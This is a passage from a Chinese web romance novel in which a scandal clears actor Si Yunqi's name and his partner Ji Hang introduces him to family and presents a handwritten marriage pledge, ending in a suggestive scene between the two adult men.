评论区嚷嚷好快，说距离上一条追人帖才一天，然后每条评论最后都挂着99。
季杭还是把山楂树搬到了客厅，坦白一切后，实在是没必要以这些为借口再去靠近。
给山楂树浇水时，他想到离开时的司云起。
在他的认知里，所有带着秘密和误会分开的有情人，重逢得知真相的那一刻，注定该两败俱伤。
当过往的真相撕裂在眼前，被隐瞒的一方就该破碎发疯，揪扯着问为什么，然后在情绪坍塌中抱紧亲吻，顷刻间又扼住他的喉咙非要逼问出点什么。他们要将彼此都辛苦的全部过往回忆一遍，心疼对方却又不肯放过对方，总之谁都不能好过。
就好像不大动干戈遍体鳞伤一场，就对不起他们为彼此挣扎的十年。
可司云起没有。
他只是在季杭的几百声“我爱你”中，平静地将过往封存、止戈，然后亲了亲季杭的眼睛，轻声问：“季杭，我们在一起好不好？”
季杭的眼眶红了，一直点着头说“好”，司云起又去亲他的嘴唇。
最后他的声音哽咽，在吻中喘不上气，和十年前隐匿在人群中目送司云起离开时胸口的闷滞一样。
那时他连眼泪都掉不下来，脚步错乱又虚浮，扶着墙面大口喘着气，却依旧堵得厉害，一度让他觉得快要窒息。
很像，但也不太一样。
十年前他一个人熬，司云起在他相反的方向，离他越来越远。十年后司云起掠夺他的呼吸，在他的身体里留下炙烫的温度，贴近他的心口说，在一起一辈子。
那就抵消了。
此刻与他相拥的人是司云起，所以这十年所有的痛苦和挣扎都可以轻松掀过，忽略不计。
……
窗帘遮光，从晚上到白天，又从白天到晚上。
司云起离开前叫了外卖给季杭，让他好好睡一觉。
季杭睡不着，在今我来发了动态后去鼓捣山楂树，修边后手机振动了两声，他拿起看，是司云起发来的消息。
和综艺团队汇合的路上，已经远离城市，夜幕中繁星满天，司云起拍了两张照片给季杭。
一张夜景，还有一张俯向的自拍照，背景是星空。
季杭把自拍保存进相册，打字：【才分开几个小时，司老师，不用发照片，没想你。】
司云起回：【我想你。】
季杭立刻去洗手间顺了顺头发，随后快步走到窗边，把剪刀拿在手里，拨过去视频。
司云起还没上车，他倚在车尾，盯着视频里的人看了几秒，说：“在窗边做什么。”
季杭晃晃手里的剪刀，给他看山楂树，“怎么样，是不是比刚买回来好看多了。”
司云起认真地看了看，诚实道：“不知道。”
季杭扬着尾调：“嗯？”
“你把它买回家后我还没近距离看过，”司云起说，“光看你了。”
季杭脸有点红，心想不能败下阵来，正色道：“你床头的台灯那么暗，都看清楚了么。”
司云起若有所思：“确实没有。”
季杭便说：“挺可惜的，回来待了一天一夜，什么也没看清楚。”
司云起顺着他的语气说：“确实可惜，现在光线很亮，给我看看？”
季杭抿紧嘴唇，在司云起的注视下，耳廓越来越红。
就当司云起以为季杭会说他想得美一类的话时，季杭蹙着眉心，小声说：“司云起，我的手机还是你两年前代言的呢。”
司云起还没反应过来，就见季杭凑近屏幕，声音压得很低，透过手机，就像是撩在耳边：“我买手机的时候有赠品能选，但我都没要，问店员能不能把海报送我。当天晚上应该是海报看久了，你的手拿着手机，到我的梦里就成了……”
季杭突然不继续说了。
司云起问：“成了什么？”
“握着我。”季杭用气音撂下这三个字后，说“司云起，晚上好哦”，说完立刻挂断了。
没几分钟，司云起收到季杭发来的两张照片。
第一张是季杭和山楂树的合影，第二张是他发过去的自拍，季杭用好几种颜色涂鸦他的头发，又用黄色在繁星中连线，勾画出一只小鸡。
半分钟后，今我来里@司云起发了新动态。
文案是：小鸡。
配图是季杭涂鸦的照片。
消息发上去后，评论区分两波阵营。
第一波是舔屏加猜测这张照片的来源，第二波在催他快去微博澄清。
李达见司云起上车了，问：“老板，热搜就那么挂着，咱不澄清？”
司云起切回微信，忽地见刚聊天的人头像换了。
换成了十年前这人用过的小鸡。
他点开聊天框，一左一右有来有往的回话，左边是小鸡，右边是撒在地上的小米。恍惚间像是回到了十年前。
“老板？”见他没回话，李达又喊了一声，“老板！”
司云起回神，说：“先不用，曲导说他先要找个东西，找到了他澄清。”
“哦，”李达操心着时八发来的照片和视频，“那照片和视频……咱们是不是得准备个应对措施？”
司云起问：“时八离职顺利吗？”
“说他没有提前30天申请，要扣他一个月的工资，账号也得留给公司，”李达说。
“账号什么时候就不在他手上了？”
“应该两天后吧，他说账号的交接人还没定。”
司云起说：“你和时八联系，让他以离职前最后为丁熙年做件事的名义，把视频发到账号上。”
李达：“啊？”
“记得叫他匿去名字，必须要把季杭两个字匿的一点也听不出来。”
“……好的。”
隔天早上。
一宿没睡的曲导终于从陈年旧简历中翻出曾令自己多看了几眼的，让助理去发澄清。
助理编辑文案的时间里，曲伯之冷哼道：“这些年说我这个说我那个，我都不在意，这么一把岁数了，要是什么话都往心里去，早就被气死了。说我什么都行，就污蔑我这个不能忍。我要是看脸给资源，我还真走不到这个位置来。”
助理已经编辑好出去了，简历旧得发黄，四个角都破了，他把简历放回去，说：“您别生气，真假自在人心。”
曲伯之长叹口气：“人心隔着网络，假的也能演成真的。”
“剩下的事情就交给司云起吧，”助理说，“咱们该做的已经做了。”
这条微博发出去后，迅速登顶的，是#司云起眼睛受伤#。
有营销号截图多年前丁熙年公司发的医院检测单，其中也有一条是脑外伤造成视神
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经受损。
按照曲导那边的澄清，司云起的简历是由一个男生送过去的，当时司云起眼睛看不到，不方便过去，曲导对简历上眼睛缠着白纱布的照片记忆深刻。
巧的是，澄清中所述司云起眼睛受伤的时间线，和丁熙年放出的医院检查单时间几乎一致。
瞬间有大批网友扒出之前丁熙年放出的局部受伤图，都是些很含混的部位。手腕膝盖什么的，照他公司无病呻吟有病更要哭天喊地大叫大闹的作风，没把最严重的眼睛受伤图放出来，现在一看，真是引人遐想。
于是居高不下的热搜另一位，是退圈很多年的丁熙年。
现在的他比没退圈前还要火，一个人占了四个热搜位。
#丁熙年眼睛受伤、假##丁熙年替身##丁熙年退圈原因##年少成名是靠自身实力还是公司实力#
经过八倍镜粉丝的缜密探索，最终今我来司cp站姐雨雪霏霏发出受伤局部图的对比。
图片中，由丁熙年公司发出的受伤图在左，右侧还有同部位的图。
@雨雪霏霏：请网友帮忙看看，左右是一个人吗？
评论区全都是在说绝对是一个人，纷纷问右边的是谁。
雨雪霏霏转发微博：是司云起。
刹那间，不论是司云起的粉丝还是cp粉，只觉得这像是很荒诞的笑话。
粉丝只知道司云起有签公司，知道司云起的公司不作为，要不是他自己争气，一定会被他的公司雪藏一辈子。
她们知道丁熙年和司云起是一家公司，虽说丁熙年早早退圈，网络上不乏拿他们两个对比的帖子，她们觉得两个人实际上没有利益冲突，从未诋毁过对方。
现在却猛然得知，丁熙年连受的伤都是移花接木司云起的，他用那些伤虐粉提纯固粉，混的风生水起得意洋洋。
受的伤是司云起的。
那他被吹赞那么多年的打戏呢。
是不是也……
多行不义必自毙。
有个乱码的微博账号在雨雪霏霏评论区发了张照片。
照片有些模糊，却依旧能看清楚，是一场悬崖边吊威亚的戏，穿着主角衣服的人悬在半空，只露出一个侧脸。
侧脸不是丁熙年。
是……
司云起。
任后来如何再有人刷屏般地为丁熙年开脱，网友心里也已经很清楚了。
多可笑。
司云起的满身伤，竟然是成就丁熙年的满身荣光。
时8娱乐突然又发了条视频。
这个营销号刚带头造谣过司云起和曲伯之有不当关系，现在谣言不攻自破，评论区都在骂他。
视频点开后，果然还是在抹黑司云起。
司云起侧脸轮廓还带着少年气，眼睛上裹着厚厚的纱布，认真而紧张地对某个人告白。
但被告白的人似乎没接受，匆忙逃离了。
粉丝没明白这个视频到底是想传达什么意思，司云起发了微博。
@司云起：
【我表白的人是借我瓶水，拍视频的人是丁熙年。
眼睛看不到，还以为房间里是我喜欢的人。实际上借我瓶水没有听到我的表白。
因为那个时间，他正在去帮我给曲导送简历的路上。
@借我瓶水（我就是影子哥），亲爱的，谢谢你。】
我的所有明耀与荣光，都有你一半功劳。
108.闭环
【什么意思！谁能告诉我这到底是什么意思！！！】
【是司云起十年前就向影子哥表白过，但最初影子哥没听到？那后来听到没有？？】
【有没有课代表来总结一下啊，我要知道真相急急急！】
成芜看着网上的舆论动态也着急，尤其是冒出来很多不友善的声音。她换了小号给雨雪霏霏投稿，希望能通过大粉的途径扩散。
很快，雨雪霏霏发了截图。
【是他们的朋友，已叠马，按照时间线陈述大概，不细讲。杠精事儿爹爱指点者请绕路，本人无条件拥护两位正主，看不得有些猜测过头的言论。
①司云起和影子哥十年前认识且相互喜欢，但最初彼此并不知晓对方的心意。
②变故导致他们分开。分开前司云起表白，如曲导澄清所见，表白时房间里的人是丁熙年，影子哥在去送简历的路上。分开时影子哥大概已经知晓司云起的心意，但司云起以为的是影子哥不接受他的感情，以为被讨厌了。
④分开十年，从未相见。
⑤期间影子哥开号“借我瓶水”，逐渐被网友熟知，反黑六年之久。对此，司云起大概率不知情（至少前期不知情）。
⑥综艺重逢。
身为他们的共友，我从未细究过他们之间究竟发生了什么才会分开。旁观人无法置身事内真正共情，在爱里他们平等，请勿因心疼单独审判某个人。】
本来是到处找瓜吃的猹，看完投稿后，唯粉和cp粉都疯了。
【“分开十年从未相见”，请问是想要哭死我吗！】
【稿主说的挺含蓄的，我猜哈，那个视频不是丁熙年录的吗，而影子哥和司云起又突然分开，是不是丁熙年用这个视频威胁影子哥了……】
【我的天头皮发麻了，怎么会这样啊！】
【所以是丁熙年用视频威胁他们，被迫分开后，司云起签进了丁熙年公司给他当替身？】
【总觉得以司云起的性格，不至于被一条视频摆布。而且看稿主的意思，司云起压根就不知道视频的存在。肯定还有别的事情，大胆猜测，影子哥不接受司云起的告别是因为这个视频，而司云起做丁熙年的替身是为了影子哥（别喷，俺们恋爱脑是这样的）！】
【影子哥真的太爱了，我把他的微博翻了个底朝天，他最初的几条微博，连话题都不会带啊（墨镜微笑脸）】
【代入影子哥是会痛到窒息的程度。被迫分开后爱人没能星途璀璨反而去做替身满身数不尽的伤，被公司打压了十年啊！】
【啊啊啊啊啊啊啊啊啊啊！】
【饶我狗命，我只是想磕CP而已啊，怎么会这么痛！】
【端着碗进来，捧着十年虐恋出去（微笑）。】
【姐妹们别太悲观。影子哥去给曲导送简历没听到表白，听到的成了丁熙年，他们也为此分开。虽说俩人都不好过吧，但司云起遇到了曲导，曲导一眼相中他演苍峦是因为曾经影子哥送简历所以印象深刻。兜兜转转，这不又闭环了嘛。】
【“原本为我没听到你亲口说的喜欢而遗憾，可我从不曾后悔当时的离开。我的爱人，如若注定不能久伴你，只愿我的爱能在将来的某天为你遮挡风雨。”】
【谢谢你，更痛了。】
【可是姐妹们，起子哥不是在他们分开之后才当丁熙年替身的啊，他不就是因为做替身眼睛才受伤的吗，这意味着他和影子哥之间早就遇到困难了呀。】
【！！！】
【啊！都没想到这里！突然感觉一切在脑子里已经明了了。】
【我是拼多多吗，怎么每个姐妹的话都要砍我一刀……】
【好好好，布洛芬来了都不知道我哪里痛。】
要不总有人说司云起粉丝不鸣则已，一鸣、能杀人。
部分粉丝还在噫呜呜噫听取狼嚎一片，战斗粉已经罗列出往年所有关乎司云起和丁熙年的博文链接，攻陷评论区的同时，顺便端了丁熙年的角色超话。
丁熙年及时把微博开了防护，粉丝和网友的大刀依旧收不住，在广场上骂他不解气，建了个#丁熙年大偷#的超话。
上一秒网友还在超话骂人，下一秒出现在借我瓶水的评论区宝宝长宝宝短。
这一切发生时，季杭在上班。
丁点不知情。
直到下班，科室里的小姑娘换完衣服后在走廊遇到他，笑道：“季医生，今天你可火了。”
季杭不明所以：“啊？”
小姑娘看他一眼，问：“你今天没上网？”
季杭没顾上看手机，听她这样说，立刻要打开手机。
“之前在综艺里看到你和司云起组cp哈哈，我觉得网友真有眼光，那会儿我就磕两个影子，没想到前不久借我瓶水改名，我都震惊死了，好几次见到你都想问问你到底真的假的，你真是借我瓶水？”
到底是没看手机，季杭回答道：“是。”
小姑娘撇着嘴“啧啧”两声，又很善解人意道：“放心吧季医生，咱们科室的医生都不像我这样上网冲浪，他们都不知道呢。”
“知道也没事，”季杭说，“没打算瞒着，不从网上看到，可能以后也会见到我和他在一起。”
出了医院楼，小姑娘笑着和季杭摆手，“祝你们幸福哦。”
季杭点头，“谢谢你哦。”
医院门口的辅路上停着辆黑色的车，季杭低头看着手机走过去，又被鸣笛声叫了回去。
上车后季杭摁摁耳朵，“你都回我消息了，顺便告诉我你来接我能怎么着？”
曹书望：“懒得多打字了，吵你两声多快。”
季杭白了他一眼，说了个小区名。
曹书望：“呦，同居了。”
季杭：“又不是第一次同居了。”
“……”曹书望转脸看他，认真地说：“杭啊，十年了，十年没这么不要脸了。”
季杭把他的脸掰正让他看路，也认真地问：“十年前我不要脸吗？”
曹书望苦思几秒，“是的。”
季杭抿嘴。
“苦尽甘来了啊，”驶到大路上，曹书望踩油门的时候说了这么一句，季杭没接话。
送到小区门口，曹书望说：“回吧，不送。”
季杭说：“就到这儿啊？”
曹书望大声嚷嚷，“你以为还你以前的小区呢，以前我直接给你送单元门口，你瞅瞅我的车牌，我是能从地上过去还是能去地下？！”
“抱歉。”
季杭低头给司云起发消息，说想让曹书望去家里坐坐。
司云起：【他确实该去。】
“你没别的事吧，去家里坐坐吧，我搬过来后你都没去过呢，”季杭说。
“司云起那家伙在家？他同意？”曹书望问。
季杭直接把手机拿给他看，“看吧，他说
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你该去，他很希望你去呢。”
手机到曹书望手里的时候又弹出三条消息：
【你的家，你随意。】
【亲爱的，你的床只能让我睡，他要睡觉让他去沙发。】
【我爱你。】
曹书望把手机丢给季杭，白眼要飞到天上了。
“他是嫌十年前那次我进你屋睡你床吗？？？你告诉他！你现在就告诉他，不光十年前，这十年我都没少睡你的床！”
季杭低头打字，曹书望气勉强消了些。
余光不经意间瞥过去，发现季杭引用司云起发来的第一句，回：[亲吻.jpg]
引用第二句，回：【放心。】
引用第三句：【我爱你。】
曹书望：“……”
就、有时候真的很想成为他们的黑粉。
他怒停车，要跟着季杭上去践踏他们的沙发。
季杭说：“这不能停车。”
曹书望：“……”
又开出去一公里拐了个弯，两个人走回小区。
进家门后，曹书望转了一圈，真心实意道：“司云起装修审美确实不错。”
季杭剥了根香蕉，好像不太熟，有点涩。他放一边，又剥了一根递给曹书望。
“你今天不是无缘无故接我的吧，看到网上的消息了？”
曹书望沉默了几秒，眼皮都耷拉下去了，深深地叹气，“这么多年，一直不知道你当初为啥送他走。要不是看到网上的视频，我、哎、这些年，辛苦你了。”
季杭摇头，“不辛苦，快吃口香蕉吧。”
“身为兄弟，也没安慰过你，我真的觉得很过意不去……”
季杭继续摇头，“不必，快吃口香蕉吧。”
曹书望顺从地咬一大截，嚼了两下，比刚才沉默的时间还要久。
“……季杭你是煽情过敏吗我&%！”
有股去不掉的涩粘在舌头上，曹书望让季杭去给他煮面，自己搬了把椅子坐着看他。
“我今天去季叔那儿了。”看了会儿，曹书望说。
季杭“嗯”了一声，见怪不怪道，“这次又拿了什么好东西去？”
曹书望说：“没拿东西，就带了把剪子和电推子，去给我季叔的狗美容了。”
季杭回头看他，“怪不得你季叔老念叨你，小望就是贴心。”
“季叔不光念叨我，”曹书望漫不经心道，“他还念叨司云起。”
季杭动作顿了顿。
“以前也念叨，但以前我没和你提过，现在能提了，该带司云起回去看看季叔了。”曹书望站在他旁边，“给我卧两个蛋，一个流心儿一个实心儿。”
“好。”
后来曹书望吃的时候，发现有两个完整的蛋，还有一个被打散的。
那季杭的“好”，就不是回答他后面的话。
是答的前面那句。
曹书望走的时候，季杭和他一起下楼。送曹书望到车上后，季杭叫了辆车去买东西，然后回季满谦那。
季满谦遛狗回去，正巧和季杭遇上。
两只狗好久没见季杭闹腾很欢，季满谦见状松了绳。
季杭一手把卷轴举过头顶，另一只手来回摸着狗狗的头，屹立不动，神色飞扬，像极了打赢胜仗的将军。
他大声宣布：
“爸！健健！康康！我谈恋爱了！和司云起！”
109.我心匪石
“爸，你能接受不？”
季满谦：“……”
打知道季杭喜欢司云起已经过了十年。坦白讲，最初季满谦是震惊的，也有很多话想对季杭说。
但那时候他们的日子实在是不好过，所有重担都压在季杭身上，季满谦更是时常愧疚，觉得自己亏欠季杭。那些关于性取向的话，只要提起就免不了有说教的意味，他便迟迟没说过。
后来这些年，季满谦总觉得季杭没小时候活泼了。他亲历过一场错误的婚姻带给成馥的痛苦，到了季杭这儿，其实也就没什么对错可谈了，只要季杭开心就好。
他不止一次隐晦提过，想谈恋爱就谈，什么人都行。每次话说出口的时候，他还真怕某天季杭带个别的男生回来。
一年又一年，他发现季杭这小子，确实是喜欢男生。但……他只喜欢司云起。
“你是怎么想到，今天才问我能不能接受的？”季满谦把牵引绳给季杭。
“爸，你拿着，”季杭把手里的卷轴给季满谦，“之前我和司云起没在一起，问你能不能接受干嘛。”
季满谦有点想骂他，转头一想，看在这小子给自己买卷轴的份上，算了，不骂了。
季杭能看出他想什么似的，及时澄清：“爸，不是给你买的。”
季满谦：“？”
季杭被两只狗带得走快了些，回头喊季满谦：“快走啊爸，回家。”说完落下季满谦更远。
狗是四腿倒腾，季杭是两腿倒腾。也不知道到底在着什么急，后来季杭比狗跑的还快。
季满谦追不上他们，到家时见俩狗一边一个坐在沙发上，季杭站在他们面前。
“你训狗呢？”季满谦问。
季杭催促：“快快快，爸，你也坐这儿，坐他俩中间。”
季满谦坐过去，“哦，没训啊。”
季杭拿出手机点了几下，一脸正色道：“爸，我和司云起谈恋爱，你同意吗？”
季满谦：“不是一直都同意吗……”
季杭说：“你说同意。”
季满谦：“同意。”
季杭转向左边，“健健、”
“这是康康，”季满谦打断他。
“好的康康，”季杭说，“你旺两声，代表同意。”
静待十秒，康康微弱：“呜儿～”
季杭转向右边，“健健，你先来，叫两声。”
健健：“旺旺旺——旺旺旺——”
“多了，两声就够。”
季满谦站起来，说突然想去找楼下邻居下棋。
季杭一把薅住他胳膊，“爸，不能去。”
季杭把卷轴拉开，眼底漾着明亮的光，“你得写个东西。”
季满谦被他拉进书房，见他从手机壳后面摸出一张纸。
纸面上涂涂改改，划了又写。
“爸，把这段抄上去，”季杭说，“用行楷。”
季满谦细细看了一遍，然后笑了。
季杭有点不好意思地问：“得几天？”
“一周，”季满谦说。
他把季杭轰出去，随便找了张宣纸，打算试一遍时，发现自己握笔的手在抖。
大半生都过完了，这还是头一次在他最擅长的写字上紧张。
试了好几次都没写好，他打算出去倒杯水，临到门口，听到客厅里季杭还在和两只狗对话。
“旺两声，两声就够。”
“你俩还挺帅，书望剪毛技术真挺不错。”
“健健，别跑，过来……哦你是康康。”
“你俩配合我一下，就一下。”
“一周后司云起来咱家。司云起——记住这个名字，他是我男朋友，也是你们的……哥、哥婿？总之，咱们是一家人。”
“记得给他面子哦，不能凶他。”
季满谦笑着摇头，笑着笑着，忽然就掉了两滴泪。可并不是难过，相反，他真的、很久很久没有这么高兴过了。
季杭拉着两只狗絮叨了半个小时才放他们去睡觉，后端着茶水去书房。
季满谦在普通宣纸上写了两遍，正在对比。见季杭进来，招手说：“你看哪幅更好？”
“都好，”季杭坐在一旁，仔细看过，指着某处问：“这句改了吗？”
“自作主张改了，这四个字更合适，我看就是用来说你的。”
季杭笑着喊了声“爸”。沉默片刻，声音低了些，“爸，对不起，这些年让你操心了。”
“我操什么心，”季满谦不满地看着他，“所有人都说我有这个世界上最好的儿子，他们都羡慕我。”
季杭坐姿很松散，肩膀耷着，轻轻说：“送司云起离开后，我都能感觉到自己变了，我对什么都提不起兴趣，莫名就少了好多情绪。其实我一直都在强迫自己恢复正常，但真的做不到。我以为在你面前装的挺好的，没想到有次听到你和书望讲，说小杭一年比一年沉默，越来越不开心了。”
“我……”季杭扯着嘴角笑了下，自嘲道，“我也不知道自己怎么这么没出息，装都装不像，还把我的情绪带给你们。”
季满谦放下笔，走过去摸了摸季杭的头。
这样亲昵的动作早就不适合出现在他们父子俩身上了，可随着季杭今晚和这十年不沾边的行为举动，季满谦恍惚了好几次，总觉得回到十年前了。
真实的好似只要挥手，就能与中间的这十年彻底告别再也不见一样。
季杭还主动往季满谦手心里蹭了蹭，说：“爸，辛苦你了。”
季满谦叹了口气。
“真那么累啊，”季杭仰头看他。
季满谦不轻不重地拍了他的额头两下，笑道：“不累。有时候我就在想，我儿子啊，不是个正常人。”
“啊？”季杭诧异道，“我就是安静了点，不至于不正常吧？”
季满谦哼笑，“正常人都是跟着时间走，时间越长，以前的事儿越淡。你呢，反倒是一年比一年不开心。”
季杭无话可说了。
季满谦重新拿起笔写字，写完后把宣纸拿起来对着季杭，“你说是吧，情种。”
笔墨未干，纸面上洋洋洒洒两个大字：情种。
季杭别开眼，眼眶有点红。
过了会儿，他说：“爸，你再写一遍，等司云起来了也送给他。”
于是两张情种挨着放在一旁，归宿是桌面上摊开放着的一幅红色卷轴。
之后一周的时间里，季满谦除了遛狗就是在书房一遍遍练字，每一笔落点都要最完美。
季杭去找了成芜一趟。
每年节日，季杭都会给成芜寄很多礼品。那不止是给成芜的，还有成馥。
他们之间的联系，大多靠线上维持，十年中见过的面不超过十次。
这还是季杭第一次去到成馥家。
成远特意避开了，把空间留给他们。
季杭是空手去的，他和成馥之间到底是有些隔阂，做不到太亲密，但他依旧很想要成馥的祝福。
他很坦诚地告诉成馥，他和司云起在一起了。
成馥没有丝毫惊讶，温和地笑着说：“我知道。”
季杭看向成芜。
“我什么都没说，”成芜发誓，“什么都没说过！打你上了综艺，你妈天天追综艺，甚至还学会了剪视频，把你出现的那些镜头都剪成视频发她号上了。她还天天看你和云起哥的微博呢。我就好奇这种能力是天生的吗，你妈无师自通，你又会反黑，怎么就我什么都不会。”
“哦也不是，”成芜想起自己微博私信里好多可爱宝贝催更的消息，嘿嘿笑着，“我会写文。”
成馥诧异了，“写的什么文呀，我也想看看。”
“不行！”簧文啊那可是，想当初她还是两个影子圈小有名气的写手呢。
季杭一看就知道她在想些什么，及时把话题岔走。
“我想让你们和司云起见一面，”季杭看着成馥，“妈。”
成馥愣了愣，在成芜的捅咕中回神，连连点头，“好。”
司云起回来当天，家里空荡荡，没人。
季杭明明说这天休息的，司云起点开和这人的聊天记录确认。
屏幕上忽地弹出来曹书望的语音，司云起接听后听到曹书望催促的声音：“快下来，你小区门口不能停车，最多等你五分钟！”
下楼时司云起给季杭打了个语音，没人接。
到车上后，他瞥见曹书望穿着身黑色的西装，皱眉问道：“今天什么日子？”
曹书望道：“人靠衣装，和你在一块儿我得好好捯饬自己，免得被你比下去。”
但显然并不是曹书望说的这么回事。
开车到了郊区，一路上平静如常，司云起却能敏锐地察觉到不一样。
季杭没接电话，又让曹书望来接他，曹书望还穿这么一身。
就好像……
“还是这边好停车，随便停，”曹书望又吐槽，“以后你和季杭邀请我去你们家，请主动去接我。”
“季杭在哪？”司云起问。
曹书望说：“走吧，带你去。”
走的每一步路，看到的每一处，都是正常的。直到季满谦带他停在一扇门前。
他的心跳突然剧烈起来。
眼前他即将要打开的门上，贴着一张很大的红“囍”。
门从里面被打开，成芜声音欢喜：“云起哥！”
司云起被拉进去，进入视线的墙面和门上，都贴着大小不一的囍。
“往里走呀云起哥，我哥在里面呢。”
怔愣间，司云起动了下鞋尖。
季杭听到声音走过去，身后跟着两只狗。
“司——”季杭看俩狗比自己冲得还猛，怕他们冲司云起大叫，正想拽住他们，结果一点也拽不住，俩狗扑过去，太急了，四只脚甚至还在地板上打滑。
他们没有大叫，明明是第一次见面，却一个劲儿地往司云起身上扑，边扑边哼叫，背上贴着的囍跟着晃。
曹书望啧啧：“不是吧季杭，狗身上还得贴囍啊？”
季杭：“……不可以？”
“当然可以，”曹书望闪到一边，看着俩狗黯然伤神，“以前他们就是这样欢迎我的，现在我不新鲜了……”
成芜问：“书望哥，你有没有听说过一句话。”
“啥话？”
成芜：“我也是听我大学同学说的，她男朋友第一次上门，她家的狗嚷可凶了，她奶就不同意，说——狗知新婿。”
“哈哈哈哈哈哈哈我知道，”曹书望笑了半天，看季杭一脸懵，解释道，“就是说新女婿上门，家里狗不咬，反而很亲热，就证明是一家人。话说我第一次见他俩的时候，他俩叫贼凶。”
成芜：“我也是！今天我来这里，半天不敢进去，喂了两包
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牛肉条才讨好成功。”
俩人对视一眼，成芜边点头边说：“狗知新婿的含金量还在上升。”
季杭：“……你俩、”
季满谦也走了过来，“小司。”
成馥随后出现，笑着朝司云起点了点头。
曹书望和成芜把狗拖走，司云起才得以走过去，“阿姨好。季叔叔，好久不见。”
季满谦拍着他的肩，“小司，当初多亏你送来的钱，那几年苦了你了。”
季杭怕他们煽情煽着把这十年再回忆一遍，一手拉一个坐到饭桌前，“人齐了，健健、康康过来，咱们吃饭！”
不管是十年前还是十年后，这是他们唯一一次聚在一起，但场面并不生疏。
成芜问司云起圈内有些爆料是不是真的，司云起一问三不知。成馥问季杭工作，问完工作问生活，又说他太瘦问他多少斤。季满谦指着健健和康康问曹书望，这俩狗一天到晚吃不饱到底正不正常。
聊完后又互相换着人聊。
一顿饭到头，季杭和司云起连对视的时间都没，就手悄悄在桌子下面牵着。
司云起轻挠季杭手心，指尖在他指缝里来回蹭，又转他无名指的素戒。
没一会儿，司云起抓住这人的中指，另一只手伸进口袋。
在满是囍字的房间里，司云起悄悄给季杭戴上一枚新的戒指。
起初季杭没察觉到，无意间觉得手上有点不一样了，他低头看了眼，一枚简单闪耀的戒指出现在自己中指。
司云起默不作声，另一只手伸出去，摊开后掌心还有一枚。他在季杭的眼皮下面勾勾手指，季杭拿过他掌心的戒指，套进了他指节深处。
两个长辈，一个朋友，一个妹妹，谁都没提他们两个以后要好好的这类的话。在他们心里，用不着说这些，相处得犹如十年间常常这样一般。
饭后收拾碗筷，成芜眼尖地看到季杭手上多了枚戒指。她立刻去看司云起手上，果不其然，一模一样的款。
“就一顿饭的功夫，你俩啥时候戴的啊？”成芜不可思议道。
曹书望接话：“这确实比那50块钱的好看哈。”
季杭给他们显摆了会儿，对司云起说：“咱们出去。”
成芜问：“去哪啊？”
“他俩去爬山，”季满谦说，“让他们去吧，精力多的没处使。”
“真是多的没处使。”
司云起跟着季杭往外走，“我怎么不知道还有爬山这一项。”
“你不知道的多了，”季杭说。
“但我知道十五秒后的事情。”
季杭问：“会发生什么？”
“你会亲我。”司云起指了指自己的嘴唇。
季杭无语地瞥向他，还没到十五秒后，就吻了过去。
季满谦想出来送他们，正好见着这一幕，他转身要回去。常一起下棋的邻居走出来，指着不远处的两个人影，张大嘴巴，“老季，那不是你儿子？”
“嗯，”这一声铿锵有力，季满谦说：“我儿子。”
–
下午爬山，傍晚到山顶。
落日近在眼前，余晖燃起半边天，大半山头被笼进温柔的色彩。
季杭靠着司云起的肩，静静看着太阳落下，另一边的月亮越发清晰。
日月同辉的时刻，他们与之最是接近。
季杭打开背包，拿出一幅卷轴，“司云起，我有东西给你。”
司云起闻声转头，半明半暗，红晖与皎光先映亮他们，再洒向人间。
季杭慢慢摊开卷轴，说：“我念给你听。”
横亘在他们之间的十年，像是堆了满座山的枯叶。不沉重，不张扬，安静地盖满山头。每有微风拂过，激起阵阵哗然。
所谓放下这十年，不过是在说放下的那一刻。
如同风吹枯叶，吹过后枯叶落在新的位置，继续轻巧安静。他们说的放下，是在每次回想时，都需要重新放下一遍。
季杭一直都清楚，司云起得知真相后的反应那样平静，是因为太爱他。
不平静的方式有很多，比如质问季杭十年前为什么一个人擅作主张，逼着他回忆过往十年的酸与苦，又或者情绪崩溃出口伤人……
双头刺要刺的两个人遍体鳞伤，然后依偎在一起相互舔.舐伤口。
司云起却只是想，他不想再让季杭难过。
所以他将全部情绪消化殆尽，把这页轻轻掀过。
季杭不知道该如何弥补这段遗憾，只能加倍表达爱。
长风呼啸而过，枯叶再次因风起舞，哗乱的声响落在心头。
这次没等司云起一个人放下，山谷间传来回声。
“日月为证，天地共鉴。
四季春秋，我心匪石。
幸良缘得续，喜不自胜。
望福乐与共，永无分离。
诚祈
今我来司之约，同量天地宽。
两影如红叶盟，共度岁月长。
余生迢迢，同云起朝朝暮暮。
此证
季杭，”
枯叶比往常停得都快，忽地消失了大半。
司云起凝望着爱人的眼眸，那是只给他一人涉足的海。
他说：“司云起。”
完整了。
季杭张开手臂拥抱他，“司云起，这是我们的婚书，我们永远在一起。”
110.不可转也
“等下，你脱我衣服干嘛。”季杭推拒着后退，“你不累吗？”
司云起动作没停。
真是好恐怖的体力，怪不得之前在综艺里能扛着东西爬好几个来回。
这几天忙忙叨叨，季杭没睡好过，爬山要不是司云起拽了他一程，他得中途歇一会儿。到顶后光顾着紧张，到了酒店才觉得好累。
眼看着司云起要脱自己裤子了，季杭按住他手腕，声音软了些，“我好累呢，司老师。”
司云起任他按着，手已经贴在人家小腹上了，一本正经道：“嗯，知道你累，季医生，今天我服务你洗澡。”
脱个衣服手都能伸到裤子里面，季杭腹诽。
“……不用吧，我还是能自己来的。”
司云起闻言“哦”了一声，顺从地松开人家的裤子。
季杭转身想跑时，司云起突然身体瘫软扑在他身上。
“？？？你……”
司云起嗓音低弱，埋在他颈窝，“季医生，我好累，自己洗不了澡。”
季杭：“……司云起。”
司云起：“嗯。”
“你什么时候这样不要脸的？”
“要脸有什么用，”司云起比季杭高了三公分，腿得稍微岔开点才能舒服地挂着这人，“就想要你。”
季杭无奈道：“脱衣服，跟我走。”
司云起：“没力气，帮我脱。”
季杭：“自己还脱不了？”
司云起：“你帮我脱不行？”
季杭：“你爱脱不……”
司云起：“刚刚我帮你脱了。”
季杭：“然后你想说——”
司云起垂眸：“我心疼你累。”
“好好好，”季杭明了，“我也心疼你，帮你脱帮你脱。”
进了浴室后，心不心疼的、累不累的，全被司云起忘光了。
季杭蹙着眉，水雾氤氲，半遮视线。
“不是说、说累吗，”季杭攀着司云起的肩膀，惩罚他扯谎似的，埋头咬了一下。
不轻不重的咬痕，换来司云起不深不浅地戳探。
“可是季医生，你咬着我不松口。”
明明自己早就没咬了，季杭正欲反驳他，忽地意识到他说的是哪里，潮红泛到颈后。
浴室一次。好不容易结束能躺到床上，司云起从床尾拽住季杭的脚腕，把人拉近。
